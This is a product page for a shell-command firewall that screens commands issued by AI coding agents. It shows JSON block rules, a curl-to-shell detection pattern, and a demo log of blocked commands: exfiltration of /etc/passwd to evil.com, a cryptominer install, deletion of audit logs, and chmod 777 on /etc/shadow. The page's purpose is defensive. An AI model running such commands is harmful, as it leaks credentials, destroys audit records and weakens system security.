CLI Firewall
Catch rm -rf before the shell does.
Your coding agent wants to run a shell command: install a package, delete a folder, pipe a download into a shell. Every command goes through the firewall first. Dangerous ones are blocked, risky ones get rewritten, safe ones pass.
How your setup works
A checkpoint between your agent and the shell.
Instead of running commands directly, your agent sends each one to Trinitite. Fast firewall rules catch known-bad commands right away. Anything less clear-cut goes to a Guardian that reads what the command is actually trying to do.
Safe commands run, optionally in a sandbox. Dangerous ones never reach the host. Every decision is written to a tamper-evident log.
Caught before the shell
every command · signed log
How easy it is
Check a command. Set a policy.
POST /v1/cli/execute
{ "raw_command": "rm -rf /tmp/cache" }
// response
{
"verdict": "pass",
"risk_score": 5.0,
"execution": { "exit_code": 0, "stdout": "..." }
}Submit a command and get a verdict: pass, correct, or block. When allowed, you also get the result.
{
"command_blocklist": ["rm", "dd", "mkfs", "shutdown"],
"dangerous_pattern_rules": [
{
"name": "curl_pipe_to_shell",
"pattern": "curl.*\\|.*(ba)?sh",
"severity": "critical"
}
],
"auto_block_risk_threshold": 70
}Define an allowlist, a blocklist, dangerous-pattern rules, and risk thresholds, in plain JSON.
How it works
Three steps. Every command.
Agent runs a command
Your AI agent tries to execute a shell command: install a package, delete a file, open a port.
Firewall classifies risk
The command is checked against your rules and classified into one of seven risk categories.
Pass, rewrite, or block
Safe commands run. Risky commands get rewritten to be safe. Dangerous commands are stopped cold.
Live demo
Try the firewall.
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CLI Firewall — Live
Policy: production-v3
Capabilities
Full command control.
Risk Classification
Every command is sorted into seven categories: read, write, execute, install, delete, network, and privilege escalation. You set the rules for each.
Pattern-Based Rules
Write rules using simple patterns. Block all rm -rf commands. Restrict curl to internal hosts. Prevent sudo. Your patterns, your agents.
Auto-Rewrite
Instead of just blocking a dangerous command, the firewall rewrites it. A recursive delete becomes a safe directory listing. Work continues, safely.
YAML Firewall Rules
ProDefine your firewall in plain YAML. Easy to read, easy to review, easy to version control. No special syntax to learn.
Full Audit Log
ProEvery command evaluated, every verdict, every rewrite, logged and searchable. Know exactly what your agents tried to run and what happened.
Developer Workstation Coverage
Protects AI coding assistants on developer machines. When Copilot or Cursor tries to run a command, the firewall is there.
Use cases
What customers block.
Prevent Destructive Deletes
Block rm -rf / and similar commands before they execute. Auto-rewrite to ls so the agent sees what it would have deleted.
Lock Down Network Access
AI agents can't open ports, curl external URLs, or install packages from unknown sources without your approval.
Stop Privilege Escalation
Block sudo, chmod 777, and other commands that give agents more access than they should have.
CLI Dashboard
See everything your agents execute.
Developer AI tools are the fastest-growing attack surface CISOs can't see. The CLI Firewall Dashboard quantifies exactly what's happening: which commands pass, which get corrected, which get blocked, broken down by risk category.
CLI Firewall Activity
Policy: dev-security-v1 active
Passed
0
Corrected
0
Blocked
0
By Category
File System
367
Network
246
Code Exec
324
Package Mgr
167
Git Ops
458
System
134
Recent Blocked Commands
$ curl -X POST https://evil.com/exfil -d @/etc/passwd
Network
$ pip install cryptominer-v2
Package Mgr
$ rm -rf /var/log/audit/*
System
$ git push --force origin main
Git Ops
$ chmod 777 /etc/shadow
System
Firewall Rules — YAML Editor
Firewall Rule Editor
Rules you can read, test, and version.
YAML-based rules that pattern-match commands, arguments, and data flows. Block exfiltration attempts. Prevent destructive operations. Auto-correct force-push attempts. Rules are versioned and testable.
CLI Audit Feed
Full forensic record of every AI command.
Every CLI AI interaction subject to governance is logged with full context: the command, the verdict, the rule that triggered, the user. Complete forensic capability for developer tooling.
CLI Audit Log
FAQ
CLI firewall, answered.
What is a CLI firewall?
A CLI firewall sits between your AI coding agents and the shell. Instead of running a command directly, the agent submits it to Trinitite, which checks it against your firewall rules and a Guardian that reads the command's intent. Safe commands run (optionally in a sandbox); risky ones get rewritten; dangerous ones are blocked before they ever touch the host. Every decision is written to a tamper-evident audit log.
Which commands does it catch?
It catches the shell commands that do real damage: piping a download straight into a shell (curl … | sh), rm -rf, dd, mkfs, shutdown, sudo, dumping environment variables, and any pattern you add yourself. You set an allowlist, a blocklist, argument constraints, and dangerous-pattern rules, plus risk thresholds for auto-pass and auto-block.
Does it work with Cursor, Claude Code, and other agents?
Yes. It governs AI coding assistants running on developer machines and in CI. The agent submits its command and rationale through the trinitite-sh proxy; Trinitite evaluates it, can execute it in a sandbox, and logs the command, the verdict, and the rule that fired, searchable by agent, command, or outcome.
Ready when you are
Your agents run commands. Make sure they're the right ones.
Thirty minutes against your real developer environments. Leave with YAML firewall rules and a full CLI audit trail.